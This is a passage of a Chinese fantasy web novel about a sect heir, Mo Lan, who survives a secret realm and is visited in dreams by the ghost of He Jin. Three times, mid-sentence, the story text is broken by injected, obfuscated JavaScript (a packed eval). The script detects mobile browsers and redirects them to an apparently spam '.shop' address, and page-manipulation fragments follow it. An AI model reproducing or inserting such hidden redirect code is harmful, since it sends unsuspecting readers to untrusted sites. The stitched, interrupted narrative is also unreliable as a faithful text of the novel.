他最后看到墨岚,是在何燃的记忆当中,墨稳将墨岚踹下冰洞,又盖上了洞口。 但墨岚非但没有死在冰兽肆虐的秘境当中,反而完好无损地躺在数十里之外的洞穴。 实在蹊跷,一路上墨端都极度警戒,没有放过任何风吹草动。 看到墨岚的第一眼,墨端皱起了眉头。 墨岚身上罩着一件陌生的御寒外袍,上面的气息不属于墨岚却莫名熟悉。 墨端阴沉着脸站在原地回想,咬牙切齿地想起了一月前那个在后山自焚的神秘鬼修。 真是阴魂不散! 11. 咎由自取 墨岚的住处叫风月阁,名字风雅,内里却常年冷清。 他不喜欢太多人近身,整个风月阁杂役婢女加上贴身小厮,总共才六人。 少主在秘境中与大队走失,独自面对整个秘境的冰兽,生死不明,这样沉重的消息让本就冷清的风月阁更加寂静。 墨方平日里虽然话不多,但能看出来带着少年人独有的青涩质朴,他从未像这几日一样沉默寡言,仿佛遭受了巨大的打击。 众人只认为他是在担忧少主,毕竟墨方是墨岚的贴身小厮,两人平时相处最多,忧心墨岚再正常不过。 他们也不知怎样安慰,只能放任墨方自己消化情绪。 好在墨岚平安,第二日傍晚便被家主带回了天机城,整个墨家上下都松了口气。 彼时墨岚还在昏迷,杂役们以为是重伤,连忙从房中抬来担架,墨方在旁边抿唇:“……我去请医仙大人。” 墨端将墨岚放在担架上,揉了揉眉心:“……去吧,厨房炖上温补药膳,帮少主更衣。” 那件不怀好意的外袍早就被墨端烧成了灰,撒在了十方海里不知哪个角落,他带着墨岚躲过风暴起阵回城,许是年纪大了,还是有些力不从心。 他疲惫地揉揉眉心,走出了院子,与听到消息赶来的医仙撞见。 “家主。” 医仙头上还挂着汗,缓过神后指着后面对墨端道:“家主,天机阁有人在等您。” 墨端心里憋着气,语气不太好:“知道了,去看少主吧。” 医仙拎着药箱去了,墨端沿着石板路走向天机阁,推开大门时在大厅中看见了墨沧那张令人生厌的脸。 墨沧是墨端的次子,与墨湄同父异母,墨沧的母亲只是一个没有灵根的凡人,生下来的墨沧许是运气好,有灵根,天资却太过愚钝,比不上墨湄万分之一。 自从十七年前墨湄遁逃外城后,墨沧就像翻身一般,一改从前的唯唯诺诺,开始以家主独子身份在天机城崭露头角,以凡人之躯勾搭众长老,招揽亲信,试图取代墨湄在天机城的地位。 墨端那时正在处理禅州边境和魔族的冲突,没空去管墨湄和墨沧,还真让墨沧积累了一些势力,暗中在天机城内散播墨湄与鬼修珠胎暗结的丑闻,将十几年来他为墨湄打造的天之骄女声名毁坏得一干二净。 他回来后便重罚了墨沧,几乎让他折了半条命,但也没脸再去外城接回墨湄。 从那以后,他与墨沧的关系便就此恶化,他将墨沧拘于内城,不让他接手墨家核心事务,甚至毫不掩饰对墨沧的厌恶。 这些年墨沧过得并不好受,墨岚来之前还好,墨岚来之后更甚。 墨端几乎在看到墨沧的一瞬间便想转身离去,墨沧却扬声阻止:“父亲!留步!” 墨端理都不理他,抬脚便出门,墨沧在他后面急匆匆起身追上来。 “父亲,我认真看了近几年的弟子档案!” 墨沧走得急,喘匀了气方才想起来对墨稳卑躬屈膝:“父亲,近年弟子锻体者寥寥,能成功出师的更是没有。” “且锻体者大多是本家宗室子弟,我想……是否是外门弟子人数过、过多所致?” 话里话外,是在指责墨端招收寒门弟子,拉低了整个宗门的弟子质量。 墨端懒得理他,墨沧却将这当成了墨端默认,他咽了咽唾沫:“……父亲,宗门资源实在有限,我与众长老商议过后都认为,可以适当减缓吸纳弟子。” 直到这里,他说的还是人话。 墨沧的脚不自觉往前走了一步,对着墨端的背影试探性道:“且,有长老反映过,这些年弟子修炼的符法太过单一,在宗门内练习还好,一旦用于实战总会、总会落于下风,杀伤力不抵从前那些功法——” 他的话被墨端挥出的一掌打断,墨端听到这些话还有什么不明白的? “别装了,无非是你们贪心,想重启从前那套鬼修邪术!” 用了五成力的一掌将墨沧拍回了宴会厅中心,墨端胸膛起伏,指着他的鼻子破口大骂:“你们真是不知天高地厚,想要把墨家也变成外城吗?!” 墨沧捂着胸口呛血,垂着头看不清神情。 墨端将他当成了说客,毫不留情地掐灭他们的妄想:“回去告诉那些不老实的东西,我墨家擅修符法,只修符法,别再妄想做一些与鬼修沾边的事!” 天机阁的大门在墨沧面前被狠狠甩上,巨大的声响掩盖住他愤怒的低吼。 墨端走得匆忙,没有来得及回头,错过了他儿子眼中毫不掩饰的恨意。 - 墨岚是在一阵兰香簇拥下苏醒的。 说来奇怪,原本满是药味的屋子一旦涌入别的味道就会格外突兀,这道气息墨岚不觉得陌生,他曾在同样的境况下嗅到。 这次的味道很奇怪,浓郁却转瞬即逝,墨岚睁开眼,将一切当成了幻觉。 他缓了好一会,方才发觉自己身处暖阁,身上并没有不适。 怎么回事? 墨岚脑子迟钝地运转,他意识消失前明明将被兽潮淹没,按理来说该尸骨无存。 墨岚想到什么,他扶着床头坐起身,伸手探向自己右小腿。 寝衣之下的小腿肚上干干净净,没有痛感,也没有任何伤疤。 仿佛秘境里的一切都是他的一场噩梦。 墨岚只觉得后背发凉,他想到什么,翻找床头,在柜子里找到了自己的匕首断月。 他曾用断月攀爬冰壁,在坠落前清晰地看见断月的刀刃豁了口,那锋利的碎片还划破了他的脸颊。 墨岚想着自己不可能记错,谁知一抽出断月,刀尖完好无损。 他顿时混乱起来,自己这是睡了多久?连伤口都愈合得无影无踪,那样见骨的伤势少说也要调养一月吧? 墨岚掀开被子从床上下来,桌上温着热茶,他端起一盏抚平干涸的嗓子,回到床头摇响呼唤小厮的风铃。 墨方很快推门进来,步伐稍显急促,看到他时脸上却没有意料中的欣喜。 “……少主,您醒了。” 墨岚觉得他的神情有点奇怪,但眼下更奇怪的是他自己,他顾不上太多。 “我睡了多久?”他询问道。 墨方低着头:“有半日了少主。” “什么?” 墨岚重复了一遍:“我是怎样回来的?” “家主去接您回来的。” 墨端不懂医术,这伤肯定不是他医的。 何况墨岚从没听说过什么法术能够让伤口立刻愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119784|195960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合,这实在太奇怪了。 墨岚一头雾水,也没有人来给他解释,他只好回到床上打坐,梳理灵脉。 墨方也没去叫医仙,他站在原地,看着纤尘不染的墨岚,如鲠在喉。 少主没有任何大碍。 被兄长情急之下留在秘境的少主没有任何大碍,但他兄长却为此付出了性命,连草席裹尸的资格都无法拥有。 墨方一时不知该以怎样的姿态面对墨岚。 他只觉得悲哀,连他兄长这样小有天资的修士都能被一脚踩死,那他这个卑贱的小厮在旁人面前,与蝼蚁何异? ……那可是他血脉相连的兄长啊。 讽刺的是,他们都有一样的血肉之躯。 有些人却生来尊贵,皮肉筋骨都是珍宝,触碰不得。 “墨方。”榻上的墨岚调息完毕,唤墨方去取衣物。 墨方猛然回神,眼底的晦涩来不及收回,墨岚正要开口问询,猛然间想起了秘境的惨状。 墨稳扭曲地面容闪过他的脑海,墨岚看着眼前垂着头的小厮,在他脸上看到了与墨稳相似的轮廓。 这样的想法很快被抛之脑后,墨岚不清楚墨稳的结局,也不欲再在墨方面前提起那人癫狂的行为。 总之,他最后只能装作没看见,自顾自套上衣服,离开了风月阁。 …… 墨岚去找了家主,被拒之门外,转而又找了医仙,得知自己被带回来时便是没有受伤的。 只有两个可能,要么是他在秘境中进了幻境,要么就是有人将他从秘境中带了出来,还帮他疗伤。 墨岚一阵毛骨悚然,若是真有能复原伤口的术法,此人修为定然卓绝,至少远超墨端。 断月亦被修复,不似墨端行事。 若真有大能出手相救,这人得是个热心肠,救他不够,还帮他修匕首。 只是太过巧合了,恰巧是崩塌的秘境,落单的他。 墨岚心有余悸,一路上发着呆走出医仙居所,不知不觉间靠近了外院的弟子校舍。 他垂着头看路,一不留神便撞到了一个弟子。 那弟子捂着腹部吃痛退后,抬眼看到他时面上惊讶:“少主?” 墨岚低声给他道歉,那弟子却是主动搭话:“您没出事真是太好了。” “不是幻境?”墨岚一路上都在想着秘境中发生的事,听到这句话时脱口而出。 “啥幻境?”弟子有些云里雾里。 墨岚缓过神,摇头说:“……无妨,你伤口没事吧?” 弟子不常见到墨岚,一时话多了些:“都怪那两人,不然您也不会受伤……还好他们被家主处置了,否则这样的同门……诶您受伤了吗?” 他见墨岚行动自如,有些疑惑。 墨岚听到处置二字抬眼看他:“……什么处置?” 弟子好心为他解惑:“那两个秘境兽潮的始作俑者被家主上刑,昨日死在了校场上。” 说着,那弟子往校场的方向眺望一眼,口里喃喃:“尸体……应该被收走了吧?” 墨岚脑子嗡嗡的,他方才听到了什么? 墨稳被处死了。 墨端竟然直接将墨稳处死了。 他顿时明白了墨方的异常是为何。 12. 风月入梦 墨稳害了他,害了很多人。 到头来他毫发无伤,墨稳成了死人。 墨岚心里五味杂陈,他并不觉得亏欠,但偏偏……毫发无伤。 若是他伤得重些,恐能叫墨方心里好受一些…… 墨岚甩甩脑袋,暗骂自己糊涂了,这是在钻牛角尖。 无论如何,墨稳是咎由自取,他问心无愧。 墨方如何想,不重要了。墨岚暗下决心,往后不在墨方面前提起墨稳,不管是好的还是坏的。 总不能在墨方面前说,“你兄长因一己私欲差点害死所有人,他是罪有应得”吧? “墨岚——!” 前方不远处传来长老的一声怒吼,墨岚猛然回过神。 他身处每月一次必上的理论课堂,坐在靠前的位置。 没有人敢在授课长老的课上开小差,便是少主也不行。 长老也是第一次被这样蔑视,对他的态度很不好:“你在做什么?!” 墨岚站起身声音里带着歉意;“抱歉长老。” 长老还未说话,一道传音符飞到教室当中,长老面色不悦地伸手接过,发现是家主的传音。 他听完后面色更加难看,转告墨岚道:“家主叫你去他的住处。” 墨岚点点头,在众人瞩目下低头走出了教室。 在他走后,长老趁着气头现场捏了一道传音,毫不留情地给家主打了个小报告。 家主没回,长老扫了一眼底下看热闹的一群弟子,随口斥责了几句,便又开始授课。 枯燥乏味的声音在教室中回荡,门外不远处的墨岚没什么反应。 天机城又下雪了,雪絮落在他莹白的面颊,被毫不留情地拂去。 墨端将他唤去,将一只矩形木盒放在桌上。 “本命符,拿去。”墨端黑着脸,言简意赅。 墨岚挥手将东西收回灵囊,道谢。 墨端不是很想看到他:“最近修炼太过懈怠,我让经阁长老备了几本书,你一会去天机阁,将那几本书抄两遍。” 墨端自认这惩罚很轻,能起到很好的敲打作用。 墨岚没有异议:“是。” 墨端看着他,没来由地一阵烦躁,他想或许是因为这么多年来从未有长老向他告过状,这还是头一遭。 又或许是前几日他回了一趟秘境,发现当中已经再无生息,那些栖息于此的冰兽不知遇到了什么事,竟然愿意放弃时代盘踞的家园,迁徙而去。 墨端给自己想岔气了,捂着胸口咳,墨岚愣了愣,帮他倒了一盏热茶,然后不声不响地离开了院落。 墨端的身体愈发差了。 …… 那几本书不厚,不知是不是故意为之,全是生僻拗口的字。 墨岚在天机阁中抄了两日,手腕酸得不像话,才终于抄完。 他将抄好的书卷放在墨端的书案上,揉着手腕走出了天机阁。 已经是夜晚,小路上静谧又暗沉,墨岚低头看路,心里有一搭没一搭地想着别的事。 什么都想,想得最多的就是墨方,和秘境中救了他的神秘人。 一阵夜风吹过,卷起小路上杂役尚未清理的枯叶,墨岚却陡然一惊。 他停住脚步,屏息凝神听着周围的动静。 方才枯叶窸窣的一瞬间,他察觉到一道来自暗处的窥伺目光。 时间实在太短,墨岚来不及分辨那目光是否带有恶意,便陷入了警戒状态。 他手指搭在腰间环佩的软剑上,巡视四周。 那目光稍纵即逝,仿佛只是墨岚的错觉,他在原地站了很久,确认没有动静之后,用最快的速度回到了自己的住处。 风月阁大门紧闭,守门的小厮取下钥匙将他迎进去。 墨岚将外袍褪下,身着里衣走进温泉中,将头颅之下的身体浸泡在温热的泉水中,闭目养神。 沙漏压着洁净衣物,摆在不远处的矮桌上,时间一分一秒的逝去,眼看着墨岚的呼吸趋近平稳,似乎是睡去了。 墨岚合着眼,泡在水下的手中却紧紧握着匕首。 他原意是想守株待兔,等着那目光再次出现,然后将人逮住。 但两日未眠,加上方才精神高度紧绷,墨岚竟然就这么昏昏沉沉地在池中入睡了。 - 再睁开眼,墨岚发现自己早就不在池中了。 他的第一反应便是回到了那诡异的喜堂。 回过神后,墨岚先是发现自己面前没有朦胧的红纱,耳畔也没有烛火的噼啪,反而是潺潺流水声。 一阵温柔的阳光照在他身上,墨岚很少见到阳光,觉得有些刺眼。 眼前的白光散去后,墨岚看向自己的正前方。 他身处不知名的一座幽谷,站的位置刚好在山谷石缝之下,享有仅有的一些天光。 在他的不远处,有一条不宽也不长的河流,蜿蜒着贯穿山谷,流向远方,河面上散发出一阵幽幽蓝光,瞧着有些不真实。 河边蹲着一个人影,墨岚的视线落在那人身上。 几乎是同时,那人站起来,转过身。 墨岚心里咯噔一声。 他似乎在哪里见过这张脸。 那人生得苍白又俊美,身量比墨岚高上不少,肩宽腿长,眉眼有些锋利,但就这样弯着唇角侧身看过来时,让人无端放下戒心。 一阵微风略过,那莹蓝的长河泛起涟漪,墨岚垂在身侧的发尾还在滴着水,他愣在原地。 他想起来了。 那是何烬。 多年前何烬举家被赶出内城,他那时年纪尚幼,对这件事总是感到愧疚,没人告诉他如何去消化那些负面情绪,墨岚“赎罪”的最好方式便是去弥补。 怎样弥补呢?他十五岁时趁着一场格外猛烈的大雪,悄悄离开了内城。 他拿着一块沾过何烬血迹的碎瓷,循着气息在外城一点点寻找,终于在一处破败的小院发现了何烬一家。 这里距离当年墨湄带着他挣扎求生的住处只隔了不到一里,墨岚抖着手推开烂兮兮的窗户,刚好能看见何烬的床铺。 何烬躺在床上睡觉,瘦得不成人形,浑身上下御寒的只有一件单薄的外套。 墨岚盯着他看了很久,最终将自己的斗篷脱下,翻窗盖在了何烬身上。 再之后,他理所应当地又烧了一场,好悬没能熬过那个冬日。 何烬的样貌变化不大,相比几年前他看到的那时,变得高大许多,身上也长了肉。 墨岚先是松了口气,看来何烬也熬过了那个异常严寒的冬天,看起来过得不是太糟糕。 只是,这里到底是什么地方,他和何烬为什么会出现在这里? 墨岚手臂上起了鸡皮疙瘩,他只穿着下水时的中衣,水还没干透,往日要是这样他高低得在床上躺个三月,但现在被风结结实实吹过一遭,却没什么不适的感觉。 这就尴尬了,墨岚手边没有衣物,身上除了湿透的中衣便只有紧紧攥在手中的断月。 他很窘迫,倒吸了一口凉气,只能眼睁睁看着何烬向自己走来。 何烬一步步往前,墨岚在他近身时一步步后退,何烬察觉后便停在原地,有些无奈地看着他。 “你好。”何烬弯着眼睛笑,瞧着温和而无害。 那缕石缝中倾泻的光从墨岚身上转移到了何烬身上,脸颊上细微的汗毛都清晰可见,仿佛镀上了一层金边,显得他轮廓更加温柔,墨岚闻言愣了半晌,方才回应:“……你好。” 实在是糟糕的开场白,墨岚别过脸,脸色苍白得不像话。 何烬依旧自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119785|195960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若,他似乎也在打量墨岚。 墨岚不想去看他在做什么,余光捕捉到何烬的动作,转过脸才发现何烬在脱……脱衣服。 墨岚一惊,将断月横在身前:“你做什么——!” 他反应很大,何烬状似被吓了一跳,他将外袍脱下,声音里带着一些若有若无的委屈:“……我只是,想给你一件衣服。” 经他提醒墨岚才发现自己的样子是有多么狼狈,衣不蔽体,薄薄的里衣被水浸湿,紧紧贴在皮肤上。 一时间也顾不得那么多了,墨岚放下匕首,硬着头皮接过何烬递来的外袍,披在自己身上。 湿透的发尾被甩到身后,墨岚用内力催干,小声道谢。 何烬轻笑一声:“一件衣服而已。” 确认没有威胁后,墨岚放下了戒心,他想要将匕首收起来,却发现灵囊不在身上,只好随手放在地上,将外袍系好。 何烬就这样站在旁边静静看着,待墨岚将自己收拾妥当。 墨岚四处张望着陌生的山谷,开口问询:“……这里是什么地方,我们怎么会在这里?” 何烬眨眨眼,温和地解释:“这里是你的梦境。” 梦境? 墨岚呆住,他从未做过如此逼真的梦……何况这是个他完全陌生的地方。 而且,自己的梦中怎么会有长大版的何烬呢? 墨岚显然不信:“我的梦中,怎么会有你。” “为什么没有我?”何烬不解,反应过来后垂下眼睫:“……你不记得我是谁了吗?” 墨岚当然记得,他看着何烬落寞的脸,抿着唇:“……何烬。” 何烬抬头看他,眼睛仿佛都亮了,像是某种真挚的毛绒动物。 “你还记得我。”他尾音上扬,能听出来很愉悦。 墨岚点头,他觉得这样面对面站着,气氛有些剑拔弩张,于是绕开何烬,往他身后的那条河走。 何烬侧身让他,亦步亦趋地跟在他身后,墨岚有些不自在,但也没说什么。 他坐在河边凸起的石块上,用手指梳理散乱的头发,从里衣上撕下一块布条,将长发挽在脑后。 何烬坐到了他的身边,墨岚将自己整理干净,双手放在膝盖上,不知道该做些什么。 半晌他才找到话:“真的是我的梦境吗?” 何烬点头,墨岚又问:“……那你怎么会在?” 何烬笑得温柔:“听说过……托梦么?” 托梦? 墨岚当然听说过,但凡间的托梦大多是生者对死者的悼念……也不尽然,他时常梦见墨湄,却一丁点也不想悼念她。 墨岚开始重新审视身边的何烬,斟酌着开口:“你……” 何烬打断他:“我已是死人了。” 墨岚瞳孔微动,脱口便是:“怎会?” 何烬看起来很平淡:“怎么不会?人总是会死的。” 墨岚时年十七岁,何烬比他大不了几岁,他欲开口,又想到曾经在外城见到何烬一家时的景象,忽而顿悟何烬早死,有一半是自己的原因。 墨岚如鲠在喉,憋了半天只憋出来一句:“……抱歉。” 何烬偏头看他:“有什么抱歉的。” 墨岚不知该说些什么,他有些颓废:“你有什么遗愿吗,我尽力帮你完成。” 何烬愣了愣,随后失笑:“不用。” “我死得不痛苦,你不要多想,也没有什么遗愿……” 何烬顿了顿:“其实,遗愿的话,也有一个。” 墨岚面对他,正色道:“你说罢,我会尽全力……” “我能跟着你吗?”何烬眉眼弯弯,补全了话。 墨岚愣了两秒才反应过来,跟着他?何烬一个鬼,跟着他干嘛? 不会是……索命吧? 13. 被鬼缠上 一阵清风吹过,带来清幽的花香。 墨岚眨眨眼,第一次发现河岸边并不是寻常野草,而是遍地的紫色兰花。 那兰花低矮,花比叶大,花瓣形似鸢尾,气味却独特,足够让人难以忘怀。 墨岚亦难以忘怀,他猛然站起身,与何烬保持距离。 这花香他闻过,第一次是在大病初愈后的风月阁,第二次则是从秘境死里逃生后。 不仅如此,何烬身上的味道比四周传来的花香还要浓烈。 墨岚没有回应他的“遗愿”,又将手中断月对准了他。 何烬站起身,不解道:“……不愿意,也不用这样吧。” 墨岚用刀尖对着他:“……你到底是谁!” 何烬垂着眼:“你不信我吗,我真的是何烬。” “你身上的气息与……将我从秘境里救出的人,一模一样。” 何烬闻言又摆出那副委屈的样子:“你恐怕是认错人了,我只是一只……羸弱的孤魂野鬼,且不说能否救你,我连现身的能力都没有。” 墨岚不信他的鬼话:“人鬼殊途,你走吧,别再来找我。” 何烬喉间滚动,他转过身去面对那条河流,将清瘦的侧脸用一个精心设计的角度完美地呈现在墨岚面前。 “我新死几日,唯一想见的便是你……如今却连这个愿望,都无法完成了。” 墨岚手指紧绷,理智告诉他何烬的话不可信,但内心又无法遏止地产生愧疚。 ……若不是因为他,何烬何至于早死。 二人就这样在河边僵持,最终还是墨岚先软下态度。 他将匕首收回去,语气却依旧生硬:“……我信不了你,你早日去投胎吧。” 说完这句话,他心一横,将匕首抵在自己的手腕上。 凡间常言梦中狠掐自己一把便能苏醒,墨岚效仿,但匕首尚未在他身上留下伤痕,墨岚便感到一阵天旋地转。 他最后看到的画面,是站在他面前,目光落寞又受伤的何烬。 …… 墨岚猛然苏醒,手臂的知觉还停留在梦境当中,他正准备用断月给自己弄出一道伤口,手臂因惯性在汤池中荡出水花。 他靠在石壁上好半天才回过神,这是他十几年来做过最真实的梦境,且醒后细节依旧清晰,不像是梦境,倒像是被人拉进了什么幻境。 他匆匆将自己收拾好,看了眼天色,发现离日出还早。 墨岚心里装着事,躺倒在柔软地床榻中,手里把玩着断月。 他不敢再入梦,就这样睁眼到天明。 白日看到那摆在桌上的矩形木盒,墨岚才想起来自己新鲜出炉的本命符。 他打开木盒,取出里面柔软的本命符咒,上面带着竹浆的清香,黑金交织的笔触在薄薄的符纸上勾勒出繁复的符文。 本命符是符修的本命剑,能够以此号令其他符咒,且与性命相契。 盒子里放着一根细长的针,墨岚捏了一张火符把针加热,将衣服褪到肩膀处,露出胸膛。 他皱着眉,将针尖对准心口,没怎么犹豫便扎了下去。 针尖淬炼时浸泡在麻醉水液中冷却过,但针尖抵达心脏,再多剂量的麻醉在墨岚清醒的情况下也不可能不疼。 墨岚白着脸将长针往心脏扎,额头渗出冷汗,硬是咬着牙关一声没吭。 针尖触及心脏的一瞬间便自发吸血,墨岚喘了口气,捏着针一口气将它拔出。 滚烫的心头血洒在桌上的本命符纸上,散发出一阵红光。 墨岚的灵台被打下烙印,生生分出一缕神魂,打入本命符。 符修与本命符的羁绊无可比拟,若是符修身死,本命符会自燃湮灭,若是本命符受到损伤,符修也会遭受重创。 墨岚将这条柔软的符纸放进识海,便去取了药箱给自己处理伤口。 处理完一切,墨岚靠在床前想着何烬的事。 他手下没有探子,不知该不该去问墨端要一个。 想想还是算了,若是去借,肯定又要被盘问一通,他找个时间再去一趟外城,看看何烬到底是什么情况。 墨岚捂着心口,喉间瘙痒却不敢咳嗽,害怕牵扯心脉。 好在锻体后他的自愈能力大大提升,休养几日后便恢复如初了,只在心口留下一个颜色有点深的针孔。 墨岚依旧能在周围察觉到窥伺视线,被搅扰得心烦意乱,但也无可奈何。 近日整个墨家气氛焦灼,墨端不知在忙些什么,墨岚比较清闲,卧在房中闭关练功,将本命符炼化,没几日便突破到了锻体中期。 他有意识地不入梦,再没见过何烬。 - 这日墨岚正在练剑,在院中接到了墨端的传音符咒。 他换了衣服即刻前往天机阁,走到门口时被里面传来的打砸声惊动。 墨岚收回正准备推开门的手指,天机阁中的两人吵得忘我,没有注意到门外多出来的他。 “我说过很多遍!墨家不可能重修鬼道!” 这句话来自墨端,他说完便气尽,发出沉闷又刺耳的咳喘声。 与他争吵的是墨家大长老,墨岚对他印象很深,那是个有些古板的老头,平日都与墨端站在统一战线。 二人的想法从不相左,也难为能吵上这一架。 墨岚不着急进去,他在门外听着里面的动静。 天机城形式日渐严峻,外城尸横遍野,但总有不了解过往的修士向往鬼修自由自在的生活。 鬼修多好啊,进一步便去十方海堕落成邪魔,退一步还可蜗居禅州,不进不退也无需考虑太多。 他们大多崇尚及时行乐,该杀人便杀,该修炼便修,缺乏正常修士所拥有的同理心和大局观。 墨端没办法容忍墨家步那群鬼修的后尘。 平日古板的长老像是被蛊惑一般,对着墨端苦口婆心:“便是去了镜海天域,符修依旧式微,更别说你口中那天方夜谭的发家!” “家主啊,你还不明白吗?我墨家本来就是鬼道分支,你……” “住、口!”墨端扫落桌上的茶盏,固执己见。 墨岚在门外皱起了眉头。 墨家是鬼道分支,他是第一次听说,尚不知真假。 “你……唉!”长老见劝不动,头也不回地走掉,墨岚让到旁边,任由大门被拉开。 长老没想到他在门口听了个真切,有些尴尬,看了他一眼,没说什么便走了。 墨岚垂眼走进大厅,用桌上尚且完好的一只茶盏给墨端倒了杯水。 墨端扣住他的脉搏:“你锻体中期了?” 墨岚点头,将茶奉到他面前:“家主唤我有何事?” 墨端揉了揉眉心,将桌上摆放的几张画像推到他面前道:“这几人,叛出墨家,探子传来消息说在外城见到了他们。” 墨岚看了眼画像,发现里面竟然有一个长老的面孔。 另外两人看起来很年轻,怕是这长老手下的弟子。 墨岚心中有了猜想,果然,墨端下一刻说:“你明日出趟城,将他们杀了。” 他的声音不容置疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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何烬的反应却没多大,轻松又平淡:“很乱啊,每天都在死人,我过得还好吧。” 他说的也是废话,却无端让墨岚松了口气。 他清楚地知道何烬绝对受了很多苦,心里也始终愧疚,但何烬看起来一点都不怨恨他…… 或许是怨恨的吧,否则也不会在死后来缠上他。 墨岚这样想着,干脆直接问出口:“你恨我吗?” “恨?”何烬有些诧异,随即又反应过来:“为什么会这样觉得。” 墨岚喉间滚动:“当年若不是我,你们不会被赶出墨家。” 何烬这才知道他是在说七年前那桩旧事。 他没有犹豫:“没有恨你,别多想。” 墨岚才不信,他用手指扣着身下的草皮,心烦意乱:“我明日要去一趟外城。” 何烬看出了他的不安:“堂堂墨家少主,还会害怕那群阴沟蛆虫么。” 墨岚以为他在讽刺,有些难堪地别过脸:“……没怕。” 他常年梦魇,明日去那一趟,梦中又要多许多素材了。 况且杀的人并非陌生人,而是真真实实相处过的人。 墨岚修炼多年尚未杀过人,因此他也分不清自己是在因即将杀人忐忑,还是因要去外城而紧张。 何烬在他旁边吹着风喟叹一声:“那怎么办呢?” “要不……我跟着你去?” 14. 弄巧成拙 这句话实在太惊悚,墨岚一时没敢接。 何烬笑呵呵地说:“我陪着你去外城。” “你认真的么?”墨岚语气艰难。 何烬悠悠点头,墨岚不敢再问,何烬若是要陪他,是怎样陪? 他不愿深思,躺到草地上闭上眼:“不用了。” 何烬没话找话,折了一枝惑心兰放到他脸颊旁边:“你去瞧瞧那河水,好生新奇。” 墨岚有点不想动弹,梦中的身躯很轻很轻,走几步路也没什么负担,像是在云端上漫步。 何烬冲他伸出手,墨岚蜷了蜷手指。 何烬又将自己的手往他面前递了递:“来呀。” 墨岚犹豫着将抓住何烬的手指,被冻了个激灵。 何烬的手很粗糙,指腹留着冻疮的痕迹,凉得像一块浸在雪中刚刚取出的硬石。 何烬将他拉起来,墨岚连忙把手松开,心里因这冰凉的触觉感到阵阵发毛。 他们迎着风缓缓走到正在奔流的长河边。 那河面远看是闪着莹蓝色光辉的,说来惭愧,墨岚这么多年从未出过天机城,禅州只有地下河,墨岚根本不知道正常的河流是怎么样的,自然看不出有什么特殊。 “这河怎么了?”墨岚不是很想在何烬面前展示自己的无知,随口问了一句,反正他不信何烬看过河。 何烬轻声道:“你仔细看,河里是什么。” 墨岚依言往河水中看去,仔仔细细看了好一会。 他凝神,放大视线,捕捉到那一闪而过的蓝色身影。 那竟然是一个半透明的人形态轮廓,通体幽蓝,四肢俱全,脸颊轮廓清晰可见。 墨岚不知道这是什么,硬要用一个词来形容的话,他会将这东西当做凡间常说的“灵魂”。 他心里一惊,虽然他没有见过河,但不论如何,这些东西都是不可能出现在河中的。 何烬在他最疑惑时开口:“据说黄泉有一条灯河,河上水灯材质特殊,可渡亡魂。上游还是灯的形状,到了下游,河灯便会消解。” “亡魂顺流而下,徘徊百年才能上奈何桥,入轮回井。” 他的声音压低,拿出了讲故事的姿态,引人入胜。 墨岚后背起了一层鸡皮疙瘩,他看向何烬:“……你不是没去黄泉么,怎么知道这些。” 外城鬼修标榜自己是黄泉使者,所修功法也叫黄泉鬼道,可回望镜海洲近万年历史,任凭修士在如何翻天覆地,黄泉的存在也从未被证实。 何烬笑得意味不明:“那帮鬼修都是这样说的。” 也是,墨岚不知为何松了口气,天机外城是鬼修大本营,杜撰些黄泉事也无可厚非。 他总有一种自己正在被何烬牵着鼻子走的感觉,实在太过被动。 何烬蹲下身掬了一捧河水,声音悠远得像是从天外传来。 “你觉得,是真的么……” 墨岚看向他手中的那捧水,在其中见到了自己的倒影。 眼前忽然变得模糊,再睁开眼,他面前是熟悉的床顶。 浅青的纱帐被风拂动,墨岚轻咳几声,顺着帐子看过去,发现窗户没有关严实。 他拿起床头柜上的茶壶灌了几口,披上长衫走下床,关上了窗。 墨岚瞥了一眼刻漏,一夜好梦过后,外头的天色竟然已经泛白,他摇铃唤小厮打水,为自己更衣。 他费了些时间,将淬了毒的裁风别进腰带后,墨岚取出一件带兜帽的斗篷,在兜帽内侧放了一张模糊面容,降低存在感的符箓。 随后,墨岚带着墨端给他的三张画像,离开了内城结界。 外城一贯比内城寒冷,墨岚被铺天盖地的风雪迷了眼,给自己罩上兜帽。 他站在原地看着不远处的外城,风雪送来了里面癫乱的尖叫与大笑。 外城日日都是邪魔的狂欢,凡人的命在里面,无异于被埋藏在冰雪下的蝼蚁。 墨岚闭了闭眼,迈步向那片人间地狱走去。 - 墨岚混在回城的背尸人队伍中,毫不费力地进了外城。 几个闪身,缀在队尾的他进了暗巷。 墨岚从外围的建筑一间一间排查,寻找那三人的踪迹。 时间一分一秒流逝,外城始终陷在亢奋与混乱中,街角脏乱,地上全是白骨残肢排泄物,但没有人去管,大雪会掩盖一切。 四处都是磕了致幻魔草,行为癫狂的鬼修。邪魔当街杀人,吸食血肉,引起阵阵尖叫喝彩。 